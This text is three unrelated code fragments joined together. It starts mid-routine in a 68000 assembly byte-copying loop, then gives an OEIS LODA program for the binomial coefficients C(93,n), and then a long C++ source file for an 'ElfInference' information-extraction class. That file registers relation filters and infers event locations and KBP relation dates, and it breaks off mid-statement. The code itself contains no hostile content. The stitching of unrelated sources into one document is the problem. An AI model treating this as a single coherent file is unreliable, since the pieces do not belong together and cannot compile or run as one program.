(a1)+,(a2)+ move.b (a1)+,(a2)+ move.b (a1)+,(a2)+ ; move.l (a1)+,d0 ; rol.l #8,d0 ; move.b d0,(a2)+ ; swap d0 ; move.w d0,(a2)+ ; rol.l #8,d0 ; move.b d0,(a2)+ dbra d4,odd2 bra.s nxt_row end
; A017809: Binomial coefficients C(93,n). ; 1,93,4278,129766,2919735,51971283,762245484,9473622444,101841441273,961835834245,8079421007658,60962903966874,416579843773639,2595612872743443,14832073558533960,78115587408278856,380813488615359423,1724861095493098563,7282746847637527266,28747684924884976050,106366434222074411385,369749985629115811005,1210090862058924472380,3735497878529723371260,10895202145711693166175,30070757922164273138643,78646597642583483593374,195160075631596051879854,460020178274476408002513,1031079709925550569660805 mov $1,93 bin $1,$0 mov $0,$1
#include "Generic/common/leak_detection.h" #pragma warning(disable: 4996) #include <boost/algorithm/string.hpp> #include <vector> #include "PredFinder/common/ElfMultiDoc.h" #include "PredFinder/inference/EIDocData.h" #include "PredFinder/inference/EIFilterManager.h" #include "PredFinder/inference/EITbdAdapter.h" #include "PredFinder/inference/EIUtils.h" #include "PredFinder/inference/ElfInference.h" #include "PredFinder/inference/PlaceInfo.h" #include "Generic/common/ParamReader.h" #include "Generic/common/NationalityRecognizer.h" #include "Generic/common/UTF8InputStream.h" #include "Generic/common/UnicodeUtil.h" #include "Generic/patterns/features/MentionPFeature.h" #include "Generic/patterns/features/PropPFeature.h" #include "Generic/patterns/features/ReturnPFeature.h" #include "Generic/patterns/PatternReturn.h" #include "Generic/theories/Parse.h" #include "Generic/theories/EventMentionSet.h" #include "Generic/theories/EventMention.h" #include "Generic/theories/Mention.h" #include "Generic/theories/Entity.h" #include "Generic/theories/EntitySubtype.h" #include "Generic/theories/EntitySet.h" #include "Generic/theories/ValueSet.h" #include "Generic/theories/Value.h" #include "PredFinder/elf/ElfDocument.h" #include "PredFinder/elf/ElfRelation.h" #include "PredFinder/elf/ElfRelationArg.h" #include "PredFinder/elf/ElfIndividual.h" #include "PredFinder/elf/ElfIndividualFactory.h" #include "PredFinder/elf/ElfRelationArgFactory.h" #include "PredFinder/inference/EIBlitz.h" #include "LearnIt/MainUtilities.h" #include "boost/algorithm/string/trim.hpp" #include "Generic/edt/Guesser.h" #include "Generic/patterns/Pattern.h" #include "Generic/patterns/PatternSet.h" using boost::dynamic_pointer_cast; // PRIVATE STATIC DATA MEMBER bool ElfInference::_initialized = false; EIFilterManager ElfInference::_filter_manager; //////////////////// // // // PUBLIC METHODS // // -- for class // // -- for doc // // // //////////////////// /** * This constructor must be called before any other ElfInference method is used. A run-time check * (throw_if_ei_not_initialized()) called by all public methods other than the constructor enforces this. * @param failed_xdoc_path Path to a failed xdoc file; in practice, the caller determines this path by * reading the "failed_xdoc" parameter from a param file (sample value: "problematic_cluster_output.txt"). **/ ElfInference::ElfInference(std::string filter_ordering_file, std::vector<std::string> superfilters, const std::string& failed_xdoc_path) { Guesser::initialize(); EITbdAdapter::init(); // if it has already been called during pattern validation, no problem EIUtils::init(failed_xdoc_path); //EIFilter::init(); if (filter_ordering_file.size() > 0) initializeFilters(filter_ordering_file,superfilters); _initialized = true; } void ElfInference::initializeFilters(std::string filter_ordering_file,std::vector<std::string> superfilters) { //register filters _filter_manager.registerFilter(new DoubleEntityFilter()); _filter_manager.registerFilter(new UnmappedNFLTeamFilter()); _filter_manager.registerFilter(new LeadershipFilter()); _filter_manager.registerFilter(new EmploymentFilter()); _filter_manager.registerFilter(new LocationFilter()); _filter_manager.registerFilter(new MarriageFilter()); _filter_manager.registerFilter(new PersonnelHiredFiredFilter()); _filter_manager.registerFilter(new PersonnelHeldPositionFilter()); _filter_manager.registerFilter(new GenericViolenceFilter()); _filter_manager.registerFilter(new GenderFilter()); _filter_manager.registerFilter(new MilitaryAttackFilter()); _filter_manager.registerFilter(new BoundIDMemberishFilter()); _filter_manager.registerFilter(new NatBoundIDFilter()); _filter_manager.registerFilter(new InformalMemberFilter()); _filter_manager.registerFilter(new OrgLocationFilter()); _filter_manager.registerFilter(new PerLocationFromDescriptorFilter()); _filter_manager.registerFilter(new PerLocationFromAttackFilter()); _filter_manager.registerFilter(new LeadershipPerOrgFilter(ElfMultiDoc::get_ontology_domain())); _filter_manager.registerFilter(new EmploymentPerOrgFilter()); _filter_manager.registerFilter(new LocationFromSubSuperFilter()); _filter_manager.registerFilter(new PersonGroupEntityTypeFilter()); _filter_manager.registerFilter(new RemoveUnusedIndividualsFilter()); _filter_manager.registerFilter(new RemovePersonGroupRelations()); _filter_manager.registerFilter(new AddTitleSubclassFilter()); _filter_manager.registerFilter(new RenameMembershipEmployment()); _filter_manager.registerFilter(new KBPTemporalFilter()); _filter_manager.registerFilter(new KBPConflictingDateTemporalFilter()); _filter_manager.registerFilter(new KBPBirthDeathTemporalFilter()); _filter_manager.registerFilter(new KBPConflictingBirthDeathTemporalFilter()); _filter_manager.registerFilter(new InferHoldsThroughout()); _filter_manager.registerFilter(new KBPMatchLearnedAndManualDatesFilter()); _filter_manager.registerFilter(new CopyPTIOEmploymentMembershipFilter()); _filter_manager.registerFilter(new BoundTitleFilter()); _filter_manager.registerFilter(new DuplicateRelationFilter()); _filter_manager.registerFilter(new KBPStartEndFilter()); _filter_manager.registerFilter(new KBPCompletePTIOFilter()); _filter_manager.registerFilter(new MakePTIOsFilter()); _filter_manager.registerFilter(new MarriageWithSetOrOfficialFilter()); _filter_manager.registerFilter(new KBPMinisterGPEFilter()); _filter_manager.registerFilter(new FocusGPEResidenceFilter()); _filter_manager.registerFilter(new CrazyBoundIDFilter()); _filter_manager.registerFilter(new AddTitleXDocIDsFilter()); //register superfilters _filter_manager.registerSuperFilters(superfilters); //load the ordering _filter_manager.loadFilterOrder(filter_ordering_file); } ElfInference::~ElfInference() { _initialized = false; EIUtils::destroyCountryNameEquivalenceTable(); } // All ElfInference methods other than the constructor and destructor are static. /* main function */ // Called by PredicationFinder::run(). // Assumes that docData->setDocInfo() has already been called on the same document (by prepareDocumentForInference()), // and passes in the return value from that call as the parameter docData. void ElfInference::do_inference(EIDocData_ptr docData, ElfDocument_ptr doc) { throw_if_ei_not_initialized(); docData->setElfDoc(doc); //dump(); if (ParamReader::getRequiredTrueFalseParam("coerce_bound_types") && ElfMultiDoc::get_ontology_domain() != L"blitz") EIUtils::addBoundTypesToIndividuals(docData); // add rule-based types to individuals where SERIF doesn't help (e.g. terrorists) if (ElfMultiDoc::get_ontology_domain() == L"ic") { EIUtils::addIndividualTypes(docData); } if (ElfMultiDoc::get_ontology_domain() == L"blitz") { int id_counter = 0; EIBlitz::manageBlitzCoreference(docData, L"ic:PhysiologicalCondition", id_counter); EIBlitz::manageBlitzCoreference(docData, L"ic:PharmaceuticalSubstance", id_counter); EIBlitz::cleanupBlitzIndividualTypes(docData, L"ic:PhysiologicalCondition"); EIBlitz::cleanupBlitzIndividualTypes(docData, L"ic:PharmaceuticalSubstance"); EIBlitz::filterBlitzRelations(docData); } //run filters according to the loaded ordering _filter_manager.processFiltersSequence(docData); // shut things down EIUtils::cleanupDocument(docData); } // All ElfInference methods other than the constructor and destructor are static. // Called by PredicationFinder::run() after S-ELF. // Assumes that docData->setDocInfo() has already been called on the same document (by prepareDocumentForInference()), // and passes in the return value from that call as the parameter docData. void ElfInference::do_partner_inference(EIDocData_ptr docData, ElfDocument_ptr doc) { throw_if_ei_not_initialized(); docData->setElfDoc(doc); if(ElfMultiDoc::get_ontology_domain() == L"kbp"){ applyKBPTemporalFilter(docData); applyKBPConflictingDateTemporalFilter(docData); applyKBPConflictingBirthDeathTemporalFilter(docData); applyDuplicateRelationFilter(docData); } // shut things down EIUtils::cleanupDocument(docData); } /** * This function must be called before calling do_inference() and the ElfDocument constructor. * Pass the return value from this method as the docData parameter to those methods. * @param docTheory A Serif theory for a given document. * @return An EIDocData_ptr to be passed into other ElfInference methods. **/ EIDocData_ptr ElfInference::prepareDocumentForInference(const DocTheory* docTheory){ throw_if_ei_not_initialized(); EIDocData_ptr docData = boost::make_shared<EIDocData>(); docData->setDocTheory(docTheory); EIUtils::createPlaceNameIndex(docData); const EntitySet* entity_set = docTheory->getEntitySet(); /* std::map<Symbol, std::set<int> > place_name_to_entity; //get the set of all place names in the document for(int i = 0; i < entity_set->getNEntities(); i++){ const Entity* ent = docTheory->getEntitySet()->getEntity(i); if(ent->getType().matchesGPE() || ent->getType().matchesLOC()){ for(int j =0; j < entity_set->getEntity(i)->getNMentions(); j++){ const Mention* ment = entity_set->getMention(ent->getMention(j)); if(ment->getMentionType() == Mention::NAME){ Symbol name_symbol =Symbol(UnicodeUtil::normalizeTextString(ment->getHead()->toTextString())); place_name_to_entity[name_symbol].insert(i); } } } } */ // Make sure this is well-defined no matter what docData->getDocumentPlaceInfo().clear(); docData->getDocumentPlaceInfo().resize(entity_set->getNEntities()); if (EIUtils::getLocationExpansions().size() != 0) { //record place sub-locations for(int ent_no = 0; ent_no < entity_set->getNEntities(); ent_no++){ const Entity* ent = docTheory->getEntitySet()->getEntity(ent_no); if(ent->getType().matchesGPE() || ent->getType().matchesLOC()){ docData->getDocumentPlaceInfo(ent_no) = PlaceInfo(ent, docTheory->getEntitySet(), ent_no); //std::set<int> sub_and_equiv = getWorldKnowledgeSubLocations(ent); std::set<std::wstring> name_strings; for(int ment_no = 0; ment_no < ent->getNMentions(); ment_no++){ const Mention* mention = entity_set->getMention(ent->getMention(ment_no)); if(mention->getMentionType() == Mention::NAME){ std::wstring name_string = UnicodeUtil::normalizeTextString(mention->getHead()->toTextString()); if(name_strings.find(name_string) == name_strings.end()){ name_strings.insert(name_string); if (EIUtils::getLocationStringsInTable().find(name_string) != EIUtils::getLocationStringsInTable().end()) docData->getDocumentPlaceInfo(ent_no).setIsInLookupTable(true); std::map<std::wstring, std::vector<std::wstring> >::const_iterator iter = EIUtils::getLocationExpansions().find(name_string); if (iter != EIUtils::getLocationExpansions().end()) { BOOST_FOREACH(std::wstring sub, (*iter).second) { if(docData->getPlaceNameToEntity().find(sub) != docData->getPlaceNameToEntity().end()){ BOOST_FOREACH(int entity_id, docData->getPlaceNameToEntity()[sub]){ if(entity_id != ent_no){ docData->getDocumentPlaceInfo(ent_no).getWKSubLocations().insert(entity_id); } } } } } } } } } } //update super-locations and collect counts of by subtypes for convenience BOOST_FOREACH(PlaceInfo pi, docData->getDocumentPlaceInfo()){ BOOST_FOREACH(int subloc, pi.getWKSubLocations()){ docData->getDocumentPlaceInfo(subloc).getWKSuperLocations().insert(pi.getIndex()); if(pi.isCityLike()){ docData->getCities().push_back(pi.getIndex()); } else if(pi.isStateLike()){ docData->getStates().push_back(pi.getIndex()); } else if(pi.isNationLike()){ docData->getCountries().push_back(pi.getIndex()); } } } } return docData; } /////////////////////////////// // // // ORG AFFILIATION FUNCTIONS // // // /////////////////////////////// //////////////////////////////// // // // FUNCTIONS TO ADD ARGUMENTS // // // //////////////////////////////// // Called by ElfDocument constructor. void ElfInference::addInferredLocationForEvent(EIDocData_ptr docData, int sent_no, const PatternFeatureSet_ptr featureSet) { throw_if_ei_not_initialized(); if (!EIUtils::isViolentTBDEvent(featureSet)) return; PropositionSet *pSet = docData->getSentenceTheory(sent_no)->getPropositionSet(); const MentionSet *mSet = docData->getSentenceTheory(sent_no)->getMentionSet(); // We take the first one we come across, for better or for worse std::set<const Mention*> locationMentions; std::set<const Mention*> mentionsWithExistingReturnValues; for (size_t i = 0; i < featureSet->getNFeatures(); i++) { PatternFeature_ptr feature = featureSet->getFeature(i); // we just look at propositions, not plain mentions, because a mention could // be something entirely non-location-like, e.g. "the /Israeli/ soldiers killed him" //if (feature->getFeatureType() == SnippetFeature::PROP) { if (PropPFeature_ptr pf = dynamic_pointer_cast<PropPFeature>(feature)) { EIUtils::getLocations(docData->getDocTheory(), sent_no, pf->getProp(), locationMentions); // Deal with "Hebron, where they attacked...", e.g. where<modifier>(<ref>:e0, where:p7) for (int p = 0; p < pSet->getNPropositions(); p++) { const Proposition *prop = pSet->getProposition(p); for (int a = 0; a < prop->getNArgs(); a++) { if (prop->getArg(a)->getRoleSym() == Symbol(L"where") && prop->getArg(a)->getType() == Argument::PROPOSITION_ARG && prop->getArg(a)->getProposition() == pf->getProp() && prop->getArg(0)->getRoleSym() == Argument::REF_ROLE && prop->getArg(0)->getType() == Argument::MENTION_ARG) { locationMentions.insert(prop->getArg(0)->getMention(mSet)); } } } } else if (MentionPFeature_ptr mf = dynamic_pointer_cast<MentionPFeature>(feature)) { // We don't call on the Mention itself, or "Israel attacking" would get a location of Israel // However, "people in Israel" attacking is OK const Proposition *defProp = pSet->getDefinition(mf->getMention()->getIndex()); if (defProp != 0) EIUtils::getLocations(docData->getDocTheory(), sent_no, defProp, locationMentions); } else if (MentionReturnPFeature_ptr rf = dynamic_pointer_cast<MentionReturnPFeature>(feature)) { if ((rf->hasReturnValue(L"role") || rf->hasReturnValue(L"tbd"))) { mentionsWithExistingReturnValues.insert(rf->getMention()); } } } BOOST_FOREACH(const Mention* locationMention, locationMentions) { // Don't add new roles for things that already exist with some return value if (mentionsWithExistingReturnValues.find(locationMention) != mentionsWithExistingReturnValues.end()) continue; MentionReturnPFeature_ptr locationFeature = boost::make_shared<MentionReturnPFeature>(Symbol(L"inferredLocation"), locationMention); locationFeature->setCoverage(docData->getDocTheory()); // essential! SessionLogger::dbg("LEARNIT") << "Adding location (" << locationMention->getNode()->toDebugTextString() << ") to event in sentence: " << docData->getSentenceTheory(sent_no)->getPrimaryParse()->getRoot()->toDebugTextString() << "\n"; if (locationMention->getEntityType().matchesGPE()) { locationFeature->setReturnValue(L"role", L"eru:eventLocationGPE"); locationFeature->setReturnValue(L"type", L"ic:GeopoliticalEntity"); featureSet->addFeature(locationFeature); } else if (locationMention->getEntityType().matchesLOC() || locationMention->getEntityType().matchesFAC()) { locationFeature->setReturnValue(L"role", L"eru:eventLocation"); locationFeature->setReturnValue(L"type", L"ic:Location"); featureSet->addFeature(locationFeature); } } } // Get inferred dates, but exclude dates on propositions that explicitly do NOT refer to the event, // e.g. "he was accused Tuesday of bombing the embassy". // Called by ElfDocument constructor. void ElfInference::addInferredDateForEvent(EIDocData_ptr docData, int sent_no, const PatternFeatureSet_ptr featureSet) { throw_if_ei_not_initialized(); if (!EIUtils::isViolentTBDEvent(featureSet)) return; std::set<const ValueMention*> dateMentions; std::set<const ValueMention*> badDateMentions; for (size_t i = 0; i < featureSet->getNFeatures(); i++) { PatternFeature_ptr feature = featureSet->getFeature(i); if (PropPFeature_ptr pf = dynamic_pointer_cast<PropPFeature>(feature)) { EIUtils::getDates(docData->getDocTheory(), sent_no, pf->getProp(), dateMentions); } else if (MentionPFeature_ptr mf = dynamic_pointer_cast<MentionPFeature>(feature)) { PropositionSet *pSet = docData->getSentenceTheory(sent_no)->getPropositionSet(); const Proposition *defProp = pSet->getDefinition(mf->getMention()->getIndex()); if (defProp != 0) EIUtils::getDates(docData->getDocTheory(), sent_no, defProp, dateMentions); } else if (ValueMentionReturnPFeature_ptr rf = dynamic_pointer_cast<ValueMentionReturnPFeature>(feature)) { // These are dates on propositions that explicitly do NOT refer to the event, // e.g. "he was accused Tuesday of bombing the embassy" if (rf->getReturnValue(L"tbd").compare(L"bad_date")) badDateMentions.insert(rf->getValueMention()); } } /* // MUCH more aggressive if (dateMentions.size() == 0) { PropositionSet *pSet = docData->getSentenceTheory(sent_no)->getPropositionSet(); for (int p = 0; p < pSet->getNPropositions(); p++) { EIUtils::getDates(docInfo->getDocTheory(), sent_no, pSet->getProposition(p), dateMentions); } } */ BOOST_FOREACH(const ValueMention* dateMention, dateMentions) { if (badDateMentions.find(dateMention) != badDateMentions.end()) continue; ValueMentionReturnPFeature_ptr dateFeature = boost::make_shared<ValueMentionReturnPFeature>(Symbol(L"inferredDate"), dateMention); dateFeature->setCoverage(docData->getDocTheory()); // essential! dateFeature->setReturnValue(L"role", L"eru:eventDate"); dateFeature->setReturnValue(L"type", L"xsd:date"); dateFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateFeature); } } void ElfInference::addInferredDateForKBP(EIDocData_ptr docData, int sent_no, const PatternSet_ptr patternSet, const PatternFeatureSet_ptr featureSet){ throw_if_ei_not_initialized(); Symbol pattern_name = patternSet->getPatternSetName(); if(! ((pattern_name == Symbol(L"eru:AttendsSchool")) || (pattern_name == Symbol(L"eru:BelongsToHumanOrganization")) || (pattern_name == Symbol(L"eru:IsAffiliateOf")) || (pattern_name == Symbol(L"eru:HasEmployer")) || (pattern_name == Symbol(L"eru:HasSpouse")) || (pattern_name == Symbol(L"eru:HasSubordinateHumanOrganization")) || (pattern_name == Symbol(L"eru:HasTopMemberOrEmployee")) || (pattern_name == Symbol(L"eru:PersonTitleInOrganization")) || (pattern_name == Symbol(L"eru:ResidesInGPE-spec")) )) { return; } //need at least one prop match for this feature to be meaningful bool hasPropFeature = false; for (size_t i = 0; i < featureSet->getNFeatures(); i++) { PatternFeature_ptr feature = featureSet->getFeature(i); if (PropPFeature_ptr pf = dynamic_pointer_cast<PropPFeature>(feature)) { hasPropFeature = true; } } if(!hasPropFeature) return; bool is_start = false; bool is_end = false; if (EIUtils::containsKBPStart(featureSet)) is_start = true; if (EIUtils::containsKBPEnd(featureSet)) is_end = true; if(is_start && is_end){ std::ostringstream ostr; std::wcout<<"ELFInference::addInferredDateForKBP() Warning: featureset contains both a start and end trigger: "<<std::endl; for (size_t i = 0; i < featureSet->getNFeatures(); i++) { PatternFeature_ptr feature = featureSet->getFeature(i); ostr<<"\t"; feature->getPattern()->dump(ostr); ostr<<"\n"; } std::wcout<<ostr<<std::endl; } SentenceTheory* sent_theory = docData->getSentenceTheory(sent_no); std::set<const ValueMention*> dateMentions; std::set<const ValueMention*> startDateMentions; std::set<const ValueMention*> endDateMentions; std::set<const ValueMention*> badDateMentions; const TokenSequence* toks = sent_theory->getTokenSequence(); for (size_t i = 0; i < featureSet->getNFeatures(); i++) { PatternFeature_ptr feature = featureSet->getFeature(i); if (PropPFeature_ptr pf = dynamic_pointer_cast<PropPFeature>(feature)) { EIUtils::getDates(docData->getDocTheory(), sent_no, pf->getProp(), dateMentions); } else if (MentionPFeature_ptr mf = dynamic_pointer_cast<MentionPFeature>(feature)) { PropositionSet *pSet = docData->getSentenceTheory(sent_no)->getPropositionSet(); const Proposition *defProp = pSet->getDefinition(mf->getMention()->getIndex()); if (defProp != 0) EIUtils::getDates(docData->getDocTheory(), sent_no, defProp, dateMentions); } else if (ValueMentionReturnPFeature_ptr rf = dynamic_pointer_cast<ValueMentionReturnPFeature>(feature)) { // These are dates on propositions that explicitly do NOT refer to the event, // e.g. "he was accused Tuesday of bombing the embassy" if (rf->getReturnValue(L"tbd").compare(L"bad_date")) badDateMentions.insert(rf->getValueMention()); } else if (PropositionReturnPFeature_ptr prf = dynamic_pointer_cast<PropositionReturnPFeature>(feature)) { //so for start and end we look in the correct place of the proposition structure std::wstring role = prf->getReturnValue(L"role"); if (role.compare(L"KBP:START_SUB") == 0){ EIUtils::getDates(docData->getDocTheory(), sent_no, prf->getProp(), startDateMentions, true); BOOST_FOREACH(const ValueMention* dateMention, startDateMentions) { dateMentions.insert(dateMention); } } else if (role.compare(L"KBP:END_SUB") == 0) { EIUtils::getDates(docData->getDocTheory(), sent_no, prf->getProp(), endDateMentions, true); BOOST_FOREACH(const ValueMention* dateMention, endDateMentions) { dateMentions.insert(dateMention); } } } } std::set<const ValueMention*> goodDateMentions; std::set<const ValueMention*> accountForDateMentions; std::set<const ValueMention*> fromDates; std::set<const ValueMention*> toDates; std::set<const ValueMention*> durationDatesMentions; std::set<const ValueMention*> nonSpecificDateMentions; //get groups of date mentions BOOST_FOREACH(const ValueMention* dateMention, dateMentions) { const Value *val = docData->getDocTheory()->getValueSet()->getValueByValueMention(dateMention->getUID()); if(badDateMentions.find(dateMention) != badDateMentions.end()) continue; std::wstring prevWord = L""; if(dateMention->getStartToken() > 0){ prevWord = toks->getToken(dateMention->getStartToken()-1)->getSymbol().to_string(); std::transform(prevWord.begin(), prevWord.end(), prevWord.begin(), ::tolower); } if (val->getTimexVal() == EIUtils::PRESENT_REF || val->getTimexVal() == EIUtils::PAST_REF || val->getTimexVal() == EIUtils::FUTURE_REF) { nonSpecificDateMentions.insert(dateMention); } else if(prevWord == L"for" || prevWord == L"of"){ durationDatesMentions.insert(dateMention); } else if(!val->isSpecificDate()){ nonSpecificDateMentions.insert(dateMention); } else{ goodDateMentions.insert(dateMention); if(EIUtils::isEndingRangeDate(sent_theory, dateMention)){ toDates.insert(dateMention); } if(EIUtils::isStartingRangeDate(sent_theory, dateMention)){ fromDates.insert(dateMention); } } } std::set<const ValueMention*> goodStartDateMentions; std::set_intersection(startDateMentions.begin(), startDateMentions.end(), goodDateMentions.begin(), goodDateMentions.end(), std::inserter(goodStartDateMentions, goodStartDateMentions.end())); std::set<const ValueMention*> goodEndDateMentions; std::set_intersection(endDateMentions.begin(), endDateMentions.end(), goodDateMentions.begin(), goodDateMentions.end(), std::inserter(goodEndDateMentions, goodEndDateMentions.end())); //remove the start and end specific mentions from the general 'good' ones BOOST_FOREACH(const ValueMention* m, goodStartDateMentions) { goodDateMentions.erase(m); } BOOST_FOREACH(const ValueMention* m, goodEndDateMentions) { goodDateMentions.erase(m); } bool start_set = false; bool end_set = false; if(!is_start && !is_end && goodStartDateMentions.size() == 0 && goodEndDateMentions.size() == 0){ //this is a holds relation, accept multiple dates if(fromDates.size() == 1 && toDates.size() == 1){ std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), (*fromDates.begin()), (*toDates.begin())); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, (*fromDates.begin())->getSentenceNumber(), (*fromDates.begin()) , (*toDates.begin())); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:HoldsThroughout"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); accountForDateMentions.insert((*toDates.begin())); accountForDateMentions.insert((*fromDates.begin())); } BOOST_FOREACH(const ValueMention* dateMention, goodDateMentions) { if(accountForDateMentions.find(dateMention) != accountForDateMentions.end()) continue; const ValueMention* emptyDate = 0; std::wstring date_role; DateSpecReturnPFeature_ptr dateSpecFeature; std::wstring specString; if(EIUtils::isStartingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedBackward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), dateMention, emptyDate); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); } else if(EIUtils::isEndingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedForward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, dateMention); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), emptyDate, dateMention); } else{ date_role = L"t:HoldsWithin"; specString = EIUtils::getKBPSpecStringHoldsWithin(docData->getDocTheory(), dateMention); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); } dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", date_role); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); accountForDateMentions.insert(dateMention); } BOOST_FOREACH(const ValueMention* dateMention, durationDatesMentions) { ValueMentionReturnPFeature_ptr dateFeature = boost::make_shared<ValueMentionReturnPFeature>(Symbol(L"inferredDate"), dateMention); dateFeature->setCoverage(docData->getDocTheory()); // essential! dateFeature->setReturnValue(L"role", L"t:Duration"); dateFeature->setReturnValue(L"type", L"xsd:string"); dateFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateFeature); } BOOST_FOREACH(const ValueMention* dateMention, nonSpecificDateMentions) { std::wstring s = dateMention->toString(toks); const ValueMention* emptyDate = 0; if(dateMention->getDocValue()->getTimexVal() == EIUtils::PAST_REF){ /*else if(EIUtils::isEndingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedForward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, dateMention); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), emptyDate, dateMention); */ std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, dateMention); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), emptyDate, dateMention); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:clippedForward"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); } else if(dateMention->getDocValue()->getTimexVal() == EIUtils::PRESENT_REF){ /* //since this is the default document assumption, don't add the date std::wstring specString = EIUtils::getKBPSpecStringHoldsWithin(docData->getDocTheory(), dateMention); const ValueMention* empty = 0; DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), empty , dateMention); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:HoldsWithin"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); */ } else if(dateMention->getDocValue()->getTimexVal() == EIUtils::FUTURE_REF){ /*if(EIUtils::isStartingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedBackward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), dateMention, emptyDate); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); */ std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), dateMention, emptyDate); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:clippedBackwards"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); } else{ const ValueMention* emptyDate = 0; std::wstring date_role = L"t:HoldsWithin"; std::wstring specString = EIUtils::getKBPSpecStringHoldsWithin(docData->getDocTheory(), dateMention); if(specString != L"[[,],[,]]"){ DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", date_role); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); accountForDateMentions.insert(dateMention); } } } } else if((is_start || is_end) && goodDateMentions.size() > 0) { const ValueMention* bestDate = EIUtils::getBestDateMention(goodDateMentions,nonSpecificDateMentions,sent_theory,featureSet); const ValueMention* emptyDate = 0; if(bestDate != 0){ if(is_start){ /*if(EIUtils::isStartingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedBackward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), dateMention, emptyDate); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), dateMention, emptyDate); */ std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), bestDate, emptyDate); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, bestDate->getSentenceNumber(), bestDate, emptyDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:ClippedBackward"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); start_set = true; } if(is_end){ /*else if(EIUtils::isEndingRangeDate(sent_theory, dateMention)){ date_role = L"t:ClippedForward"; specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, dateMention); dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, dateMention->getSentenceNumber(), emptyDate, dateMention); */ std::wstring specString = EIUtils::getKBPSpecString(docData->getDocTheory(), emptyDate, bestDate); DateSpecReturnPFeature_ptr dateSpecFeature = boost::make_shared<DateSpecReturnPFeature>(Symbol(L"inferredSpecString"), specString, bestDate->getSentenceNumber(), emptyDate, bestDate); dateSpecFeature->setCoverage(docData->getDocTheory()); // essential! dateSpecFeature->setReturnValue(L"role", L"t:ClippedForward"); dateSpecFeature->setReturnValue(L"type", L"xsd:string"); dateSpecFeature->setReturnValue(L"value", L"true"); featureSet->addFeature(dateSpecFeature); end_set = true; } } } // set date mentions that are specifically in the start or end subtrees if (!start_set && goodStartDateMentions.size() > 0) { const ValueMention* bestDate = EIUtils::getBestDateMention(goodStartDateMentions,nonSpecificDateMentions,sent_theory,featureSet); const ValueMention* emptyDate = 0; if (bestDate != 0) { std::wstring specString = 